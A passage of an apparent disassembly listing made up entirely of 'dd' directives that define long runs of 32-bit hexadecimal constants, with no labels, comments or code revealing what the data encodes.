		dd 0BA3EC8CDh, 0B6D6035h, 0FBC200F9h, 25343FF8h, 5FFE7B7Ah
		dd 0BB474101h, 80180C1Ch, 0F15D1DCh, 97F20E94h,	0E609D400h
		dd 0B92A8EC9h, 0D374B475h
		dd 83F68800h, 0CD1BC34h, 45987Ah, 44CB0E86h, 0A5378522h
		dd 14589800h, 1E478170h, 29E47Bh, 8738940h, 781A1B0Ch
		dd 0A310260Fh, 0A0C48E2Fh, 0AB4EF04Ah, 81E000BBh, 7CA6A41Ah
		dd 0F37135ACh, 0FB0A0E03h, 0B3A7389Ch, 68E0F891h, 4CF24Fh
		dd 0B43A6714h, 4DC663B5h, 0A230FB00h, 0FF52A028h, 25B8CE2Dh
		dd 0E556C15Dh, 0FCFC12EAh, 5101FB07h, 0CB88025Bh, 0C9303523h
		dd 6CE700A1h, 0C31A5569h, 0CF245946h, 0E91E7D22h, 0C56DF800h
		dd 9B6770h, 75FBA9FFh, 4125A33Bh, 49D30F0Eh, 6F0CC096h
		dd 374473Fh, 539891Ch, 0FF987156h, 0D5709979h, 8AE82760h
		dd 0C1C4C7h, 0B025D022h, 0F866197Dh, 9E90FA00h,	5982C9A2h
		dd 0B8340095h, 9B16BF6Bh, 620023B9h, 469DA653h,	0E0B2846Dh
		dd 0DC31276h, 0F48040A4h, 9BE69EFh, 0FA3E307h, 8E7035E2h
		dd 0FAAC374Eh, 0DF9F005Dh, 0D315401Dh, 0D700DB5Bh, 0E57CBEE1h
		dd 1FD6008h, 599D5122h,	0D4951873h, 771064Eh, 2443E705h
		dd 0B2803156h, 542EB40h, 0D5D7E6AAh, 0C035C06Bh, 1D035BF0h
		dd 0FE2441DCh, 3BA2805Ch, 0C84B0108h, 0F60A362Ah, 876DE412h
		dd 60F18100h, 4439C93Ah, 8D7B1C5Bh, 0A1B68003h,	43B050E3h
		dd 8F07C339h, 0E1873B6Fh, 0E2CC5897h, 71C62DECh, 16A73D2h
		dd 564FA20Ah, 405F12E9h, 0DA531DF8h, 0D6D0F00h,	2F20A489h
		dd 432900E3h, 9BF3E03Ah, 3479DA3Dh, 41F5DF00h, 0E2B3F1Dh
		dd 67240011h, 8BF6206Ch, 0C3B8FB40h, 57A4C800h,	4375F432h
		dd 0F86654CDh, 5C4BE28Ch, 0CF007BBAh, 44E812CEh, 630217C4h
		dd 569DF0D1h, 8C6560CBh, 4389006Dh, 0DDE94018h,	38F2AAA2h
		dd 0A7008AE0h, 6BE48ECBh, 5F012CFh, 3432DDC1h, 6AAD014Ah
		dd 0D87DEBDBh, 24989AEDh, 0C098404Dh, 14982671h, 0E2E09044h
		dd 0EB410FB3h, 8DC0B0E0h, 0E73D6C5Fh, 8D983A0h,	2F3CFB00h
		dd 6B40B4CBh, 23BD009Ah, 25359957h, 6103C254h, 6729469Bh
		dd 895CE84Eh, 1047600Ch, 19221E42h, 0D7B09102h,	62DC9693h
		dd 0B9B80079h, 0FE4063h, 85B5B69Eh, 0A6A2700Ch,	0BF07D201h
		dd 17E5B935h, 6054C07Ah, 0A300FAD7h, 8155825Eh,	8B6E40h
		dd 5C081788h, 0BC25F295h, 0A42ACC00h, 0FF42A577h, 0C0EF0074h
		dd 0C22436B4h, 860082B0h, 60340CDAh, 3A75C04h, 3DCA1642h
		dd 9001F5E8h, 866F4D22h, 8C2477C6h, 92581DD1h, 0B10A3D04h
		dd 9835F4h, 87D7D4F5h, 2E07AB65h, 89F8B494h, 0AE648B00h
		dd 8E810013h, 60D1BBA4h, 1A601841h, 21DEE328h, 5C16004Ch
		dd 0D4638E8Dh, 0C20193EBh, 0C8401350h, 0CEDD2BFDh, 0AC35FCh
		dd 881EFF5Fh, 0AAF2F194h, 0C5C3DC00h, 993A7046h, 2C70036h
		dd 250B814Ch, 76006985h, 6BBDB35Eh, 5EF8E58h, 80832231h
		dd 80AB1EE6h, 0C8EAEED4h, 0D6032414h, 0D0CCFA40h, 0E7C3E864h
		dd 17830123h, 73F35239h, 0F871C806h, 564C2504h,	60BCABB0h
		dd 0CEF50F73h, 83603853h, 0EC139051h, 8E313E01h, 0EFF3F9E2h
		dd 1F851920h, 0C7F661FEh, 0F7AAB42h, 0C8172201h, 0E7E1E858h
		dd 9ACDCB00h, 0A7A88884h, 3629008Bh, 2A2E4B97h,	0D00058D3h
		dd 1EC21C57h, 0F2BBC75Ch, 7413005Ah, 0D459C933h, 6D000315h
		dd 0DE8C6FCh, 0F4E6CCh,	46D2CDDBh, 0F6367CCFh, 0B4D73F01h
		dd 0EF53B644h, 7D630C0h, 0F7E202A9h, 1E0F20DCh,	0EA00D918h
		dd 0BCF6B1D1h, 52DA55h,	7BD53FFEh, 0EC822F48h, 3B004E70h
		dd 0D15D93E7h, 2EBE509Bh, 3F95727h, 1748D283h, 0F03ABDD8h
		dd 0C75F280Eh, 0A9FB80CAh, 85FD30h, 35D804C1h, 8E65277Bh
		dd 0C9346607h, 0CF904E2Bh, 3C2E1154h, 630F6ADBh, 46DECE17h
		dd 0D8F70D16h, 0FB1CCB07h, 59A07D84h, 3215E4Dh,	8063F9E3h
		dd 0CBB08DD3h, 672ED9D0h, 0BA004550h, 0A6983929h, 0D36500BCh
		dd 0F7D6FBB0h, 9707CA9Dh, 306E20FAh, 402721B2h,	0F59271h
		dd 740453CCh, 68F3AEF7h, 0CA49548h, 6187DBDEh, 0EAED068Bh
		dd 10DDFB21h, 7D07317Ah, 0D80ACD42h, 69100BD7h,	25954Eh
		dd 0F0BCB6D4h, 0E10F5E47h, 0BFF1ED00h, 71D82045h, 0E563006Ah
		dd 7C5514Eh, 9D008B17h,	0FDAEF985h, 1C1084EAh, 40862513h
		dd 30E27D42h, 2A008EF4h, 95FD757Fh, 3E378D5h, 0B63DA7D6h
		dd 0BA88B3EEh, 3C00A0A1h, 0C8FC868h, 2C0AE93h, 8C1388F2h
		dd 0FCE0B4BBh, 513A3EE8h, 7FE307DDh, 0C3F092E0h, 2FE142h
		dd 89CADF12h, 62F6D7D9h, 818CAC04h, 0B8C05783h,	1FB5E9D1h
		dd 80DCC09Ch, 0CFB8CD25h, 1F079A4Dh, 0A3BC101Ch, 49F5FA12h
		dd 8070FB0Ch, 0E8F106C7h, 500DEA4Ch, 0B2A0F415h, 107E00A8h
		dd 0B5BAFCC2h, 944C02F9h, 60CA80B9h, 0E1B4C8A0h, 870096A2h
		dd 9E7FDE56h, 0C0C32F51h, 0C7D7D161h, 1016BFE2h, 0F1002A42h
		dd 75DFFE65h, 5BA100E5h, 6069531Ch, 13B0765Fh, 9A7C0B00h
		dd 0A1591407h, 7A2100D7h, 989DFE20h, 0ABF4A3A9h, 0E63D54B0h
		dd 24D8BD30h, 0F002305Dh, 61130982h, 0FD44E14h,	0F3858ECh
		dd 33A7701h, 80C2AFA1h,	0C9651311h, 1465288h, 58695DDDh
		dd 80B8FEAAh, 65156770h, 0F11E070h, 3F0CA22Ch, 0C36C9B01h
		dd 0F47881FDh, 125C25CDh, 7B98420h, 427BBC8h, 3A07AB0h
		dd 4559BDF3h, 72913AC8h, 52563303h, 0ADEF4B27h,	0AB0F8C01h
		dd 9840D6DCh, 0F0E71EBFh, 0D69128Ch, 609C273Fh,	5B685211h
		dd 5F6DBD17h, 0E4AA7500h, 0E76E020h, 0F52E71DCh, 0B0EEB747h
		dd 0CD16BBADh, 2293DD00h, 598DC4EDh, 5C7E4C60h,	0F6664B00h
		dd 0C6019C63h, 25F8B1FAh, 2F77A203h, 0B953C11Fh, 57F4A0DCh
		dd 13840015h, 0DC46A27h, 0FA1FA53Dh, 69EED7B7h,	0D6703407h
		dd 205E5A90h, 0FDF0FB7Eh, 768374F4h, 311B3BB1h,	40F6C293h
		dd 0E26EE65Ch, 0DA001AEBh, 0D7AB009h, 0BA7020h,	270A0804h
		dd 4B21644Ah, 242EFD00h, 20CF41A0h, 2C150006h, 0C092DEAh
		dd 0E6481BA6h, 34E70084h, 0DFE52FD5h, 81670087h, 3C2B0417h
		dd 240582FEh, 0C2B80AFBh, 5461D052h, 2407F5E9h,	0D370C07Eh
		dd 0A1079B26h, 907633Ah, 0C6809D67h, 0E4D0CA60h, 0E49700A2h
		dd 30B4AD2Ah, 6673C022h, 6482100h, 8296E7F3h, 0A0A60090h
		dd 2DEE037h, 53007EF4h,	9EC43447h, 6D0CD78h, 0DA5A8A62h
		dd 0D803118Ch, 0BED6EF7Eh, 97901DA2h, 5E4C40BAh, 1E873F12h
		dd 23D23102h, 0C2DF22ECh, 1A446874h, 0C8320101h, 6A3DDD81h
		dd 0FD5DE8E6h, 9014C900h, 0DC7C0EFCh, 0D5490002h, 0D14EA452h
		dd 3035CFBh, 8AD7A6FDh,	8E8EFAC2h, 0F689A08Ch, 158445Dh
		dd 0BD850D28h, 346EC47Eh, 2C245531h, 20005482h,	0B64F5F15h
		dd 8EBE0023h, 9116C856h, 0FF00F04Ah, 0C090C539h, 772473h
		dd 0EA79848h, 0D213F132h, 80E7A43Bh, 70286FAAh,	3D1333Fh
		dd 4EE060FDh, 0B6A8D029h, 4716806Bh, 68005407h,	3C047A85h
		dd 3DF9F8ACh, 0FC001F22h, 0D53BE74Bh, 6339C273h, 0BFE080CDh
		dd 58B1889h, 0E87D132Dh, 6DF40706h, 4F9CF0F5h, 79287B62h
		dd 39009E08h, 37A723BFh, 125FF586h, 0F21F82h, 0EF4135E4h
		dd 871274B7h, 8440F4AFh, 0C4BB2AB6h, 54C200F9h,	0A64B722h
		dd 9003874h, 1F8D5585h,	1E5D9212h, 56AEEAh, 0B6ACED89h
		dd 0EE02A2CDh, 0FBBEA7AFh, 1D3448C6h, 903B006Fh, 0E6B53CA1h
		dd 0AD07030Dh, 0E372AF6Ah, 60102A32h, 37E248h, 89F90E7Dh
		dd 463C68ECh, 0C3D30B26h, 0BC42A213h, 60FD3AD1h, 26F411F8h
		dd 80480DE9h, 4A0FCD45h, 81F4CB3Bh, 460C250Fh, 29B70059h
		dd 3907157h, 1FCEAAB5h
		dd 0DEE831A6h, 0E0F7387h, 60CAA26Bh, 7F181CE0h,	701FA4Ch
		dd 2FE543E7h, 50682732h, 0EC52BD59h, 92A36500h,	748F306Dh
		dd 0B1F83197h, 27226780h, 0ED2F01B8h, 0D2526BCAh, 0FE21C280h
		dd 42B0676Ah, 0F4684Ch,	0AA4925A1h, 333108h, 8F954658h
		dd 7606CBBBh, 39487579h, 2D7718F8h, 3CCD112h, 0ECBD903Ah
		dd 0B80091F3h, 8FE7F758h, 7209264h, 0BB950F27h,	0DE1CE084h
		dd 4E125417h, 0FC0C0880h, 6EBA44h, 17CEB95h, 0CEA6BCA7h
		dd 9441550Fh, 1ECAE057h, 2EE8476Ah, 93CCFE5h, 68801588h
		dd 0A2BBE3CCh, 0ADF1A612h, 8349E0h, 0FD568286h,	6C5BC16Dh
		dd 0E6202800h, 0D45CC9EAh, 5F3C007Ch, 0DA8546F0h, 840075C0h
		dd 8DEECEB5h, 72C32758h, 8DB3B43h, 0AEF4B282h, 20C00176h
		dd 0B386117h, 5B1180F8h, 9B715D29h, 14730503h, 0C01E494Dh
		dd 28895D4h, 598C9300h,	0BC9CA039h, 229F0024h, 0E4A5B7D9h
		dd 0DC006C79h, 5E577AC6h, 0E831FEh, 0D03095A2h,	694AA62Ch
		dd 6CA1C500h, 0EB1A8C36h, 0BFC20037h, 341E6026h, 8801FC4Fh
		dd 3BBBB91Bh, 0A440F64Eh, 1D77BA54h, 0D8E026B3h, 94925C99h
		dd 0F9D72400h, 6D50D04Eh, 42E20586h, 0C04D7CB2h, 0CAB933E4h
		dd 56518B03h, 0F0FD9F6Bh, 0E2F55A50h, 7A1748AAh, 606EAE01h
		dd 0CC5D93B8h, 0E50537EEh, 0D4F71002h, 0D08028D1h, 9A1860h
		dd 78D99571h, 347321B1h, 758AFE00h, 0BAEA9136h,	0CA25C26h
		dd 1AEC2BB0h, 9E710801h, 97BEF652h, 0CEA2FC50h,	0B3BC224Dh
		dd 3040B47Ah, 3E144C7h,	3BC8A400h, 0AACF30Bh, 0B8BADBh
		dd 2814B6Bh, 1C664168h,	9700ACBAh, 0CF377AEBh, 3B5ADFh
		dd 0ABAA9F33h, 3578AEDAh, 987B5300h, 0BA6244CDh, 401B05AFh
		dd 0C0B07DFBh, 0E89A1320h, 451A3D2Ch, 58F0600h,	0BA44C7h
		dd 75B05097h, 0E49C0A48h, 9860DF7Ch, 14D7F66Eh,	23E0E332h
		dd 0B808000Ch, 45184660h, 62B0DC51h, 14F9AA1Fh,	1E317940h
		dd 152385h, 83780321h, 0E7B1A9D7h, 7918C800h, 25298D98h
		dd 9F411F67h, 388828ADh, 83001B7Eh, 28A4C24Bh, 7C9826B7h
		dd 0A99EBC03h, 0C0F1AC23h, 3DF8787Ch, 0DE01F9B9h, 0E3868190h
		dd 0E1F140BFh, 4402A679h, 33078E1Eh, 0EA705030h, 156204C1h
		dd 0A0176B3Fh, 91F82B44h, 14989B03h, 0F91F9947h, 0DCE8377Fh
		dd 11B1013Bh, 93100EF2h, 40364Bh, 14CC43ABh, 7A6BA926h
		dd 28A82C85h, 5C3D0462h, 413EC0DCh, 841EB055h, 3A68FCh
		dd 44EC057Eh, 42BB8C4h,	811A6C4Eh, 0C066C4BEh, 0AEF5BF24h
		dd 0E451411Dh, 0D5FFD000h, 1EE3A615h, 0C14C6035h, 879A65EFh
		dd 3043FD9Dh, 0DB71125Ch, 0F0BD3800h, 1FDF1A7Ah, 0F13D033Bh
		dd 4639298Bh, 2A12EFC0h, 9701F4B0h, 76F97218h, 1AF44D3Eh
		dd 0AB51016Eh, 54D23AFFh, 7C3814h, 0B7D6D3A1h, 7EE3D99h
		dd 1EE71F87h, 6E461226h, 0B5512040h, 59EAC907h,	13F161FBh
		dd 0A9CCFF2Dh, 0D3470040h, 71B143C6h, 9071B5CAh, 0C0064B8h
		dd 75C101F3h, 0FD62B7Dh, 0C49D8A21h, 0DB81A4E9h, 802AB30Eh
		dd 9265B718h, 127C1EDh,	0C70CDC68h, 403FD1FCh, 712FDE0h
		dd 0ACCAB700h, 8D514E5h, 1E0B034h, 5DEF210Dh, 0F425B056h
		dd 550E605Ah, 20586EE6h, 8AF3D6BDh, 630824BAh, 0B9DB0090h
		dd 4B0324ACh, 0BB00B67Ah, 0E064195Ch, 7D98E3D8h, 1DB00BDh
		dd 366796CFh, 0D07BCC27h, 2F6FB50Ah, 110EF05Dh,	0A168004Ch
		dd 108516h, 0F7C2EA1Ch,	7FE7FB13h, 0BCC0BD00h, 8480026Fh
		dd 343B24EDh, 0C2EF077Bh, 6920709Ah, 0AC006BCCh, 1A8A8CFCh
		dd 39B337DBh, 0DE80F085h, 0A6E82A0Eh, 0C01C8956h, 3240E280h
		dd 0A5A057F5h, 0A9230029h, 0D96018BDh, 88B8C61Fh, 0F8CDDF01h
		dd 32DDEE92h, 98FC8475h, 0CC2100BAh, 1F2BD439h,	90052A3h
		dd 2E4A9E4Dh, 3F13655h,	19A23321h, 0DCC03BC5h, 754CD691h
		dd 966700FFh, 0DD3D2EAEh, 12DA778Bh, 12C25788h,	0AB6440F9h
		dd 0C2089B3h, 0C70616Ah, 2558B3Fh, 646F003Ah, 0A24C6Bh
		dd 0E5CA6D18h, 46485F50h, 5B63DF00h, 0C5424D8Dh, 4A170521h
		dd 102BAEh, 15E6D6ACh, 2F05E881h, 1A967741h, 19309897h
		dd 3E3610Ah, 374E7484h,	2FE0F77Fh, 0A40CAC8Ch, 10F52D35h
		dd 7CA8005Ch, 0AB43DE0Fh, 0D202B8E4h, 0FFC03A2Ch, 8A5340CDh
		dd 0A1A03CBh, 0A431E8A9h, 0E893C8A1h, 80B8C96Ch, 0BAF38F09h
		dd 0C1B0E3EAh, 88EC24F7h, 3AAF870h, 0DB4F6384h,	0BA9972A4h
		dd 67F640B1h, 31C20B53h, 0E01AE499h, 92E866h, 894DB414h
		dd 323A60A9h, 0C1503707h, 0FFA0B9A6h, 642A40Ch,	8461B1E0h
		dd 26FC3CADh, 5C00877Ch, 904CDBC4h, 0F09520h, 2879B162h
		dd 0DA9425A6h, 0AB2DC100h, 0CE70B8E3h, 6140081h, 0A36B506Ah
		dd 0A49E768Fh, 0B6EC5900h, 70259566h, 2AC700A4h, 0B87BB568h
		dd 9B0164C8h, 7F79D886h, 0C0850676h, 40E2CFF4h,	140BC6F4h
		dd 9109FBB2h, 80E118FAh, 7060C9CBh, 31396275h, 602FDD24h
		dd 505A5345h, 0E657505h, 1B37125Dh, 5700E454h, 0F7EBE98Eh
		dd 0D775C8CEh, 0F1F540C0h, 0E8F6CA6Ch, 0F150481h, 0B0937919h
		dd 0C40073B0h, 4D1167F4h, 0C0C6F838h, 481DE928h, 0B116BBFDh
		dd 61006243h, 2F38CE77h, 7F16007Ah, 0B24D1BB3h,	870AD136h
		dd 0D00E35E8h, 47375D80h, 26CECFC0h, 34DD849h, 62EDD0E7h
		dd 9F11D109h, 1AB6033Eh, 0C297C036h, 0D3A30028h, 1ECF3808h
		dd 0CC1D0917h, 1BC33D2Ch, 0E0C3B6BBh, 7C7397Ah,	73EEF502h
		dd 1951FC3Ah, 0E0A9750Ch, 1EF11D1h, 4BDAFCF7h, 0E061C89Dh
		dd 7C00803Dh, 1F35EA6Dh, 7A97DD7h, 6B5945B6h, 0DC727058h
		dd 0C503E194h, 11368C1Ah, 0BA52D810h, 28CB3BB8h, 7FA7B780h
		dd 0EED2EA88h, 0DA22E20Ch, 5E08F6h, 8EB70F49h, 0C09D8426h
		dd 0FAD59B00h, 900E785Fh, 152107C6h, 813C5224h,	0F003FF11h
		dd 291F47B7h, 9D0071ADh, 83CE9412h, 60827402h, 2747504Bh
		dd 9B0773D5h, 8E43B638h, 57A16EF0h, 0B3C518BBh,	0C7AA7847h
		dd 24315260h, 6B53288h,	0CB103620h, 0C8C468D1h,	0E130BEACh
		dd 0D223D083h, 21AF18DEh, 8300088Ch, 0DF12E3E6h, 1D857C9Ch
		dd 86435473h, 0D859FE8Dh, 0DDD9E202h, 875227B0h, 6C53B40h
		dd 71AC7020h, 0AA9D1055h, 8056C882h, 0D271F3EEh, 140D8FE2h
		dd 50F9D94Bh, 67C29AD4h, 413D6846h, 80232639h, 6F5297F1h
		dd 0C8B93F7h, 8A484217h, 21DF2F08h, 0C46F5741h,	0B9405F06h
		dd 12C9048h, 2E472A0Dh,	0D4953AA6h, 0D800610Eh,	34D41693h
		dd 19C0D9Dh, 0A7AE1BBDh, 241D03FDh, 510F2400h, 1A40A1h
		dd 0E45B92D0h, 0A6170080h, 0F7FFB67Bh, 0A37D2449h, 0A57CDE00h
		dd 73224630h, 0F55700D8h, 0B794C2A6h, 0B676E4ADh, 2C0B5200h
		dd 7D6E19D1h, 0D6700DBh, 0B391B47Bh, 5205CB17h,	33D33B27h
		dd 98EE3EC0h, 62F90011h, 5EC0EE3h, 0D0004E42h, 33FB3965h
		dd 39BA6E16h, 9500D257h, 9E0F1CB2h, 640102CDh, 2DB65C30h
		dd 0EF60359Fh, 1BE5009Dh, 2E1AA25Bh, 7700D796h,	19B9F013h
		dd 0D2CB2Ch, 6FB63CC9h,	34E49B14h, 98335700h, 8AD648AAh
		dd 2EED0056h, 0D1C55EAEh, 7F00D352h, 0B74CF5C6h, 54A9DDCh
		dd 0FDEB873Dh, 0B24480FAh, 51EC7E59h, 63002590h, 56587580h
		dd 840896h, 2A98858Ah, 7CFE87B1h, 0B2B3DB1Ch, 20EEE680h
		dd 3AA523h, 8856D894h, 0C37F9C85h, 901B9900h, 0B0292C48h
		dd 18E616B9h, 0BEC70007h, 0C22EE322h, 4ACA7C03h, 98082D87h
		dd 4D6B79h, 426FE912h
		dd 3DBEABD0h, 0ACA87700h, 0FBCDAEF3h, 4BD40036h, 800485C4h
		dd 0BA70FFD5h, 0E3239300h, 899A2B26h, 22DF0B72h, 530031B2h
		dd 544725CFh, 67D07603h, 8DF551h, 37668338h, 42751A9Fh
		dd 0F3A5A700h, 39D39506h, 0A2DF0FBAh, 0C7A3EFBBh, 56F36714h
		dd 81505C00h, 2045F751h, 161001FCh, 0BF2B4C21h,	0F9DCF04Fh
		dd 0DEFD1901h, 5088B327h, 96CEC0h, 0C76F7BD0h, 82AD520Dh
		dd 1300BCF8h, 2C393F5Bh, 60518568h, 6FD2A8CDh, 4000F8B4h
		dd 0A8DF4288h, 0EABBD4h, 8B0145Fh, 3A76E16Ch, 80ECDB3Eh
		dd 0AA213EC3h, 66229AEh, 586D58Fh, 2C00D870h, 0CF717323h
		dd 3CBD033h, 6881428Bh,	0ED065DEh, 0B006A851h, 0ECC04BAEh
		dd 0C360060h, 8F5830FCh, 660019Fh, 0D8B0719h, 0EA5200BEh
		dd 6F6B55C1h, 530028B3h, 0D91498E2h, 6E069EB6h,	0BCA03111h
		dd 77F96676h, 0B7398D16h, 0FB9B4100h, 1027E03h,	1A7F31CAh
		dd 80930EADh, 992B1840h, 382843Ch, 2DFBB3EAh, 7FE0320Bh
		dd 37B62151h, 702F09h, 36EF5647h, 13935C0Bh, 79AF700h
		dd 3C13F811h, 6689A10Ch, 3015E10Dh, 784057C5h, 0C00B429h
		dd 2C896A53h, 170499Eh,	0FB74AF44h, 0E85EB12Bh,	7A01592Eh
		dd 205721A3h, 0B0DCC287h, 95E63F29h, 0E0EBB698h, 4D019DC5h
		dd 78DD488Ah, 0A0D84B2Ah, 7FFE09C8h, 2C008F4Eh,	0CDF9753Dh
		dd 0DB492400h, 0BC5235E9h, 0E1AC0094h, 470E0A5Ch, 7B25DFAEh
		dd 0A25053h, 0E8D970F1h, 356D720Ch, 0A84B3903h,	90406B8Eh
		dd 1D24417Bh, 1FB968F9h, 219322h, 747A9028h, 0C20548CCh
		dd 0DB1FC531h, 0F48CCF00h, 22A365Fh, 0C670E6EEh, 0E0803A68h
		dd 0A1849178h, 0D8AD7401h, 6E36B120h, 5EA7D0h, 605B1CF4h
		dd 0D1659FE7h, 93F21401h, 283C2C15h, 0A9D008D9h, 74EC0FE5h
		dd 89604626h, 75E20CA5h, 0EF40A700h, 0FD905E31h, 733FA54h
		dd 3BACD90Bh, 0A41E30ADh, 0B4016A2Ch, 61AF7D71h, 99D47680h
		dd 26BBEA65h, 80F697h, 0F31D4E89h, 0C000C849h, 36CCD420h
		dd 4E2F91Bh, 22A28599h,	7A33C01Ah, 4BE2F879h, 0E99D8F1Dh
		dd 0F0ECEE80h, 0F21809h, 113A391Eh, 9FACE36Fh, 0EA907703h
		dd 2EC903h, 0E447A770h,	98B248D6h, 9B8E8728h, 2F2A009h
		dd 0D82420DEh, 0F5F727h, 0D334CB74h, 459BE5C6h,	0C8806024h
		dd 0C9E04F03h, 1AA5A0AFh, 0EDC106DCh, 11A82438h, 0A0034FAh
		dd 0C7726109h, 73CD64DAh, 83B506FFh, 29F92253h,	9BB72D07h
		dd 0D1F099DEh, 27140B2h, 0D7A99418h, 0E84063CBh, 8224DAC8h
		dd 75037EB1h, 0D061C2DBh, 625B03h, 0CD570C10h, 0CF238294h
		dd 677E3800h, 0A099E417h, 0CE2A3866h, 2FC3037Ch, 315144F4h
		dd 0C7A7A1F8h, 0A2051100h, 0CCF3A9A4h, 0D85500CAh, 68F57E48h
		dd 66018CB8h, 0DE3FD2DBh, 29C830B4h, 0D06754A9h, 0C4A0005Eh
		dd 2C7D1F42h, 0B60F4F38h, 22B9D2A8h, 0E06F4B58h, 1880EC7h
		dd 0EC80D13Fh, 0FB74A606h, 0DF9DB200h, 3C6445B1h, 0EFA0046h
		dd 0DA09F6D8h, 0B8007A80h, 1974E631h, 4C4766A1h, 201A0FAh
		dd 0AFB57B0Ah, 40DB7026h, 0E1505B1Eh, 0D40F80BCh, 0A14E1185h
		dd 0FF02003Eh, 9A1457DBh, 0A00AB3B5h, 0EC9E5320h, 0E2461700h
		dd 12656FF2h, 35948Ch, 0FA862644h, 3005CB8h, 4025B1EEh
		dd 0F73C9Ch, 272D94D1h,	0B4A8A35Ah, 98893D00h, 1FA76B13h
		dd 91F600BEh, 0F938DC66h, 6490B574h, 2F0B2678h,	0D128AF2h
		dd 0FBC0114Ch, 8FAC1C6Ah, 1EC6865h, 0CE0B6204h,	7007D12Ah
		dd 3C1C175Ah, 7FC023F9h, 0BC6754EAh, 8D600058h,	0E231FF4Dh
		dd 27E4136Ch, 6148E538h, 537C1E58h, 0F7C0D921h,	6857AB1h
		dd 0F359258Ah, 893D6864h, 436E24FDh, 0EA1C2B17h, 8899C90Ah
		dd 51A3700h, 0F59A030Fh, 305895E0h, 0FE110E4Dh,	624C3879h
		dd 9010EC1h, 320260A4h,	0AD0EED3h, 0D55EE545h, 74B73824h
		dd 72677071h, 0D0001D43h, 0B7DF4E5h, 0A0A7484Ch, 7BA2DAh
		dd 10DF151Ah, 7764D3ECh, 2ECCE500h, 0C693876h, 8ABD1F27h
		dd 0ADC6C75Bh, 0DD5240AEh, 0E100E446h, 0E69CD609h, 0FD36DFAh
		dd 3AC180BFh, 889D4E80h, 977A1A7h, 29EC4300h, 453C8B6h
		dd 923C03D5h, 0C7D13B02h, 869BD3D0h, 0F5B74E01h, 9EB5F9B8h
		dd 23B6D4h, 3A5D92FAh, 0B2580AACh, 2F009F90h, 0E12EAD2h
		dd 628589h, 0DF01FE4Ah,	53B064D7h, 4B2E1400h, 382F28C6h
		dd 991C0015h, 2A452034h, 95006159h, 33EB708Ch, 0D78376h
		dd 208229F3h, 0B6ED2D8Fh, 0D5663D00h, 315B63D2h, 0F2B4EE72h
		dd 2DCD00FAh, 681FA1BCh, 1C007978h, 697F6709h, 0F847233h
		dd 0C7048346h, 288BD300h, 0F2009305h, 3DC15377h, 26DCC233h
		dd 0B963BCh, 81D37B48h,	16009172h, 30F2FFD7h, 3DB24C1Ch
		dd 0EC3D3942h, 0D9BC7080h, 7354699Dh, 3752330Eh, 0D0B04301h
		dd 6639C0C2h, 70A8097Fh, 1C89F259h, 96896F00h, 9F004C07h
		dd 8297B8B4h, 0FFDC4Eh,	6BD6B355h, 28CB7A54h, 0DA1C5B09h
		dd 0DF180086h, 0FC3CA072h, 0D49A3D79h, 3181D600h, 1EA7937Dh
		dd 0F51A041Dh, 8EEFDFC3h, 0AE28112Bh, 7BE611E1h, 7B1B2011h
		dd 222A7920h, 0B922E202h, 117C427Ah, 76117E60h,	28BE28D2h
		dd 21285842h, 0D6EA2214h, 421E9922h, 7A6B08B4h,	0D53E083Bh
		dd 92632B84h, 86495008h, 60283AA4h, 0C2ADF152h,	0D00B584h
		dd 728A8F64h, 6F8E13h, 0A1F82B1Fh, 0AB430471h, 0BE149600h
		dd 7B61C87h, 184909BCh,	0F8988320h, 0A7034CF5h,	0D2BE09DEh
		dd 6D47987Fh, 80F894B0h, 8919CE9Eh, 7800A470h, 17D392F9h
		dd 16B221F3h, 0D7EF8Ch,	0C357BACh, 0D958027Ah, 60C12DFCh
		dd 0B017C334h, 762A3E9Ch, 0E9899A07h, 42322210h, 2DC28CE8h
		dd 0B9FA9100h, 2F994D30h, 0C5F1004Fh, 0FC2117ADh, 850F11E3h
		dd 0E4E6887Ch, 5B8057B1h, 13AEBB18h, 7E4E48h, 54BF74DDh
		dd 1502431Dh, 3AFD0C0Fh, 0C7C8C8CAh, 4CFA005Dh,	4D74D8DAh
		dd 0A6001915h, 9A207C7Ah, 0F2A1ABDCh, 2F53072Eh, 808A620Ch
		dd 0DD27E1EDh, 26EC8900h, 9AC17F4Eh, 9EFEB1h, 0B515EF65h
		dd 0DC141C5Eh, 0CA03B003h, 0C32561EDh, 491DC09Bh, 3DBE3AF5h
		dd 6DEBA980h, 0C3FF9D68h, 0BBA09518h, 0C0A5B38h, 74E17663h
		dd 0EC7E77D6h, 3FD98F1Fh, 0E2108580h, 17223Ah, 0CB5D71D2h
		dd 0C99840ACh, 0A8CF7B03h, 0B0C79991h, 2ABE3DDh, 0D55DE7DBh
		dd 0A4607A6Dh, 0F200B13Dh, 5F547365h, 7C1550DAh, 1E0F003Eh
		dd 12417188h, 0C0E99AF3h, 30117CEh, 5F356DE3h, 2F8302Bh
		dd 0AE9209F0h, 0D181C474h, 20BFECC0h, 0CD58EE10h, 0C22D008Fh
		dd 6064839Bh, 208A00E6h, 2A92CAB2h, 8E4C1B19h, 65391C06h
		dd 285500BEh, 7058DE10h, 4C2A1E64h, 0E54F803Bh,	9BA1371Bh
		dd 0B8623C30h, 54C58Dh,	2A04EFCAh, 0ADDCA5C6h, 83796E09h
		dd 871C60B5h, 0B01C0413h, 8064E736h, 3199B264h,	0BB3D9B0Bh
		dd 0DEF28E97h, 63594Fh,	7201C453h, 2560003h, 0E62FC92h
		dd 0EB00ACAEh, 13BA42A6h, 147C2F5h, 951E8E76h, 0F14AE3D3h
		dd 0EAE8436Fh, 629C63D8h, 0C43ABC00h, 103DB18Bh, 4D6A1F79h
		dd 0FA10F096h, 0CF07447Fh, 7A496201h, 0BD302850h, 22853FA0h
		dd 0EE8B1600h, 2CC10DF7h, 3B0C5207h, 29D713CEh,	0D730F550h
		dd 7A8B00B8h, 72F04981h, 690091C5h, 602A7020h, 90CBC698h
		dd 0FBC70074h, 9988C45Bh, 1F61D63h, 0FBEB202h, 60A7C978h
		dd 69ECD6h, 0AF976AB1h,	1C42755Ah, 36675E03h, 0F0D9121Ah
		dd 14D2100Bh, 8BAE444Ch
		dd 0B4507A00h, 69052DEBh, 99C8348h, 8F133655h, 64BE01Ch
		dd 2EFC4DBAh, 3CDCDB7Ch, 0FD4E0D07h, 0F029707Bh, 0D64C2B58h
		dd 48620047h, 0BE0F3312h, 0D071076Dh, 3022E00Eh, 7D7A1E24h
		dd 38835900h, 992527DEh, 0E0ECA8DBh, 0C3D1024Ah, 6C8B5896h
		dd 0AE1DCFE0h, 8068113Ch, 6E4ED39Dh, 72A98CE1h,	467A0624h
